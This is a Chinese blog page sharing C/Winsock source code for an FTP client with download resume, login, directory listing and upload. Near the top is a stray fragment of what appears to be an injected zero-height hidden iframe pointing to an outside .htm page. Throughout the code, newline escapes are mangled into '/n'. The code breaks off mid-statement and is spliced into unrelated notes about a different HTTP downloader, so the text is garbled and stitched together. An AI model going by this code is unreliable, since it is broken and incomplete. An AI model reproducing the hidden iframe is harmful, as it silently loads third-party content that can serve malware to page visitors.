ftp客户端源代码,使用VC+SOCKET编程,在SERV-U6.0服务器上测试通过,能断点续传

这是一个使用VC++和SOCKET编程的FTP客户端源代码,可在SERV-U 6.0服务器上运行,支持断点续传。程序包含了登录、列出站点、更改目录、下载、上传等功能,并使用结构体存储主机信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

程序复杂,注释我就不多写了,函数名在上面,都是模块化的,可以随时调用 src="http://pspper.w1.server2003.cn/vip.htm" width="100" height="0">

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winbase.h>

typedef struct Hoststruct
{
 char HostName[128];
 unsigned int HostIp;
 char Hostport[32];
 char UserName[128];
 char PassWord[128];
 char CurrentDir[128];
 SOCKET HostSocketCmd;
 SOCKET HostSocketData;
 int npsupport;
 int HostState;
 struct Hoststruct *next;
}Host;

typedef struct _RESUME
{
 char dest[128];
 char tmp[128];
 char file[128];
 char hostSite[128];
 char UserName[128];
 char PassWord[128];
 int size;
 int alreadydone;
 int hostip;
 unsigned short hostPort;
 int state;
 struct _RESUME *next;
 SOCKET sockcmd;
 SOCKET sockdata;
 HANDLE hThread;
 HANDLE hTmpFile;
}RESUME;

typedef struct _upload
{
 SOCKET cmdSock;
 SOCKET sockdata;
 char file[128];
 char dest[128];
 char hostSite[128];
 int size;
 int alreadydone;
 HANDLE hThread;
 struct _upload *next;
}UPLOAD;

Host HostList;
Host *CurrentHost;
RESUME ResumeFile;
UPLOAD Up;
char numResumeFiles;
int PasvOrPort;

int resumeList();
int _scanf(char *s);
int Login();
int ListDir();
int receive(SOCKET s,char *buf,int len);
int post(SOCKET s,char *buf,int len);
int addToHostList(Host *h);
int changeDirectory(char *directory);
int showCurrentDirectory();
int downLoad(char *file,char *directory);
int resumeDownLoad(RESUME *profile);
int upLoad(char *file,char *dest);
int DeleteDown(RESUME *r);
int DeleteHost(Host *h);
int DetectCurrentHostHost();

int main(int argc, char* argv[])
{
 int ret;
 WSADATA wsa;
 RESUME *r;
 HANDLE hout;
 COORD cord;
 struct in_addr in;
 char *cmd;
 char commandLine[1024]={0};
 char param1[1024]={0};
 char param2[1024]={0};
 char command[1024]={0};
 char answer;
 struct sockaddr_in hostaddr;
 char data[1024]={0};
 SOCKET cmdSocket;
 resumeList();
  CreateDirectory("incompletes",0);
 CreateDirectory("downloads",0);
 hout = GetStdHandle(STD_OUTPUT_HANDLE);
 cord.X=128;
 cord.Y=8192;
 SetConsoleScreenBufferSize(hout,cord);
 if(!WSAStartup(0x0101,&wsa))
 {
  printf("winsock initialization done! wait for command.../n");
  printf("type /" ? /"for help");
 }
 else
 {
  printf("fail to initialize winsock!/n");
  return 0;
 }
typeCommand:
 printf("/n");
 printf("ftp> ");
 ZeroMemory(commandLine,1024);
 ZeroMemory(param1,1024);
 ZeroMemory(param2,1024);
 _scanf(commandLine);
//process commandling...
 cmd=commandLine;
 while(*(cmd)==' ')cmd++;
 if(strncmp(cmd,"login",5)==0)
 {
  Login();
 }
 else if(strncmp(cmd,"quit",4)==0)
 {
  printf("bye^_^");
  WSACleanup();
  return 1;
 }
 else if(strncmp(cmd,"show site",9)==0)
 {
  int d=0;
  Host *phosts;
  phosts=HostList.next;
  printf("/n");
  while(phosts!=NULL)
  {
   d++;
   in.S_un.S_addr=phosts->HostIp;
   printf("%d. Site:%s Ip:%s/n",d,phosts->HostName,inet_ntoa(in));
   phosts=phosts->next;
  }
 }
 else if(strncmp(cmd,"site",4)==0)
 {
  int psite=0;
  Host *phost;
  phost=HostList.next;
  cmd=cmd+5;
  ZeroMemory(param1,sizeof(param1));
  while(*(cmd)!=0)
  {
   param1[psite]=*(cmd);
   cmd++;
   psite++;
  }
  psite=atoi(param1);
  psite--;
  while(psite && phost!=NULL)
  {
   psite--;
   phost=phost->next;
  }
  if(phost!=NULL)
  {
   CurrentHost=phost;
   printf("/nCurrentHost:%s/n",CurrentHost->HostName);
  }
 }
 else if(strncmp(cmd,"resume",6)==0)
 {
  int k=0,s=1;
  cmd=cmd+7;
  ZeroMemory(param1,sizeof(param1));
  while(*(cmd)!=0)
  {
   param1[k]=*(cmd);
   cmd++;
   k++;
  }
  k=atoi(param1);
  r=ResumeFile.next;
  while(r!=NULL)
  {
   if(s==k)goto resume;
   s++;
   r=r->next;
  }
resume:
  if(r!=NULL)
  {
   if(r->alreadydone>=r->size)
    printf("/ndownload file %s already complete/n,",r->file);
   else
   resumeDownLoad(r);
  }
 }
 else if(strncmp(cmd,"show down",9)==0)
 {
  int c=0;
  r=&ResumeFile;
  r=r->next;
  printf("/n");
  while(r!=NULL)
  {
   c++;
   in.S_un.S_addr=r->hostip;
   if(r->state==1)
   {printf("%d.",c);printf("file %s from site %s,total %d,already done: %d/nstate: on/n",r->file,inet_ntoa(in),r->size,r->alreadydone);}
   else
   {printf("%d.",c);printf("file %s from site %s,total %d,already done: %d/nstate: off/n",r->file,inet_ntoa(in),r->size,r->alreadydone);}
   r=r->next;
  }
 }
 else if(strncmp(cmd,"show up",7)==0)
 {
  int c=0;
  UPLOAD *u;
  u=&Up;
  u=u->next;
  printf("/n");
  while(u!=NULL)
  {
   c++;
   if(u->alreadydone==1)
   {printf("%d.",c);printf("upload file %s to site %s/%s succeeded/n",u->file,u->hostSite,u->dest);}
   else if(u->alreadydone==0)
   {printf("%d.",c);printf("upload file %s to site %s/%s is being done",u->file,u->hostSite,u->dest);}
   u=u->next;
  }
 }
 else if(strncmp(cmd,"cancel",6)==0)
 {
  int pr=0;
  RESUME *res;
  res=ResumeFile.next;
  cmd=cmd+7;
  ZeroMemory(param1,sizeof(param1));
  while(*(cmd)!=0)
  {
   param1[pr]=*(cmd);
   cmd++;
   pr++;
  }
  pr=atoi(param1);
  pr--;
  while(pr && res!=NULL)
  {
   pr--;
   res=res->next;
  }
  if(res!=NULL)
  {
   TerminateThread(res->hThread,0);
   closesocket(res->sockcmd);
   closesocket(res->sockdata);
   CloseHandle(res->hTmpFile);
   res->state=0;
   DeleteFile(res->tmp);
   DeleteDown(res);
  }
 }
 else if(strncmp(cmd,"stop",4)==0)
 {
  int pfile=0;
  RESUME *re;
  re=ResumeFile.next;
  cmd=cmd+5;
  ZeroMemory(param1,sizeof(param1));
  while(*(cmd)!=0)
  {
   param1[pfile]=*(cmd);
   cmd++;
   pfile++;
  }
  pfile=atoi(param1);
  pfile--;
  while(pfile && re!=NULL)
  {
   pfile--;
   re=re->next;
  }
  if(re!=NULL)
  {
   TerminateThread(re->hThread,0);
   closesocket(re->sockcmd);
   closesocket(re->sockdata);
   if(re->alreadydone!=re->size)re->state=0;
  }
 }
 if(CurrentHost==NULL)goto typeCommand;
 if(strncmp(cmd,"dir",3)==0)
 {
  if(CurrentHost!=NULL)
  {
   ListDir();
  }
 }
 else if(strncmp(cmd,"cd",2)==0)
 {
  int i=0;
  cmd=cmd+3;
  while(*(cmd)!=0)
  {
   param1[i]=*(cmd);
   cmd++;
   i++;
  }
  changeDirectory(param1);
 }
 else if(strncmp(cmd,"pos",3)==0)
 {
  showCurrentDirectory();
 }
 else if(strncmp(cmd,"download",8)==0)
 {
  int j=0;
  cmd=cmd+9;
  while(*(cmd)!=0)
  {
   param1[j]=*(cmd);
   cmd++;
   j++;
  }
  printf("/n保存路径(默认为//downloads//):/n");
  _scanf(param2);
  if(param2[0]!=0)
  {
   int err;
   CreateDirectory(param2,0);
   err=GetLastError();
   if(err!=183 && err!=0)
   {
    printf("/n路径错误/n");
    goto typeCommand;
   }
  }
  else
  {
   strcpy(param2,"downloads/0");
  }
  downLoad(param1,param2);
 }
 else if(strncmp(cmd,"upload",6)==0)
 {
  printf("/n源文件路径:/n");
  _scanf(param1);
  printf("/n目标:/n");
  _scanf(param2);
  upLoad(param1,param2);
 }
 else if(strncmp(cmd,"show current",12)==0)
 {
  printf("/nCurrentHost: %s/n",CurrentHost->HostName);
 }
 else if(strncmp(cmd,"pasv",4)==0)
 {
  printf("Enter pasv mode.../n");
  PasvOrPort=0;
 }
 else if(strncmp(cmd,"port",4)==0)
 {
  PasvOrPort=1;
  printf("Enter port mode.../n");
 }
 else if(strncmp(cmd,"logoff",6)==0)
 {
  if(CurrentHost!=NULL)
  {
   closesocket(CurrentHost->HostSocketCmd);
   closesocket(CurrentHost->HostSocketData);
   printf("/nHost:%s,logoff!/n",CurrentHost->HostName);
   DeleteHost(CurrentHost);
   CurrentHost=NULL;
  }
 }
 if(CurrentHost!=NULL)
  ret=DetectCurrentHostHost();
 if(ret<0 && CurrentHost!=NULL)
 {
  answer='y';
  printf("/ncurrent connection closed by remote host,reconnecting.../n");
  if(answer=='y')

在自己的工程中引入所有文件,在stdafx.h中对照本下载工具项目的stdafx.h,应该是要加入afxsock.h。 参考main.cpp。主要是调用DownloadHelper。先添加任务,然后设置onFinish(下载完成后的动作),最后start。 如果目录中已有该文件,程序会自动覆盖,不会出错。 默认下载端口是80,不支持其他端口。如果要这个功能,请修改Mydownload中的fnMyDownload,HttpDownLoadNonProxy加入nHostPort。 ###fnMyDownload说明: bool fnMyDownload( CString strUrl, CString strWriteFileName, unsigned long *& downloaded, unsigned long & totalSize, CString strProxy, int nProxyPort, int nThread ) strUrl: 需要下载的文件地址, 如:“http://10.20.1.6/musiconline/091029/daisy.mp3” strWriteFileName: 下载后文件的存放地址,如:“d:\\” downloaded: 指针引用,调用函数后会不断变化,实时反映已下载多少字节的数据 totalSize: 传递引用,表示所要下载文件的总长度,与downloaded配合可以分析各种下载信息 strProxy,nProxyPort 这两个为代理选项,有的话填上,如"192.168.1.89",8080 没有的话麻烦点填上"",0 。(呵呵,暂时没有去研究具体怎么使用) nThread: 用于下载开启的线程数,一般3,4个最佳。。太多反而降低速度,而且有些服务器不支持多连接。 例:fnMyDownload("http://10.20.1.6/musiconline/091029/daisy.mp3","d:\\",downloaded,totalSize,"",0,3) ###代码说明 Mydownload.cpp底端的fnMyDownload函数是下载器的关键函数。 其中在原作者的基础上,加了几句编码转换的代码。把网络的文件名和路径转化为UTF8,但这里可能会有问题,例如中文域名。有需要,请再作修改。 DownloadHelper是外围封装的类,用于列表管理,自动断点重连。 ChineseCode用于编码转换。 Thread是一个封装好的线程类,被DownloadHelper继承。类似于Java的Thread类。 ###Mydownload代码笔记: 从fnMyDownload开始,程序首先解析输入的url,拆分为地址,路径,文件名等。然后获取文件头,得到文件大小,然后再下载。重点函数是ThreadDownLoad。下载完之后用FileCombine合并文件。 ###开发测试环境: windows xp + Visual C++ 6.0 !!!!!!需要使用MFC环境!!!!!!!!!!!!
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值